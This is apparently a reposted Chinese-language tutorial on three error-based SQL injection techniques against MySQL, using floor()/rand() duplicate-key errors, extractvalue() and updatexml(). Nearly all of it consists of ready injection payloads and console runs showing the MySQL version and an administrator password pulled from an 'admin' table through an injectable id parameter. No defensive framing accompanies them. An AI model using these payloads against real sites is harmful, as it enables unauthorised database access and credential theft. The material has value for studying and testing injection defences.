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mysql3种报错模式注入_MySQL

时间:2021-07-01 10:21:17 帮助过:2人阅读

1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by...

1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下:
首先进行正常查询:
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
请看 ( http://www.yuefengqing.com/ )
2、ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'

3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));

ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

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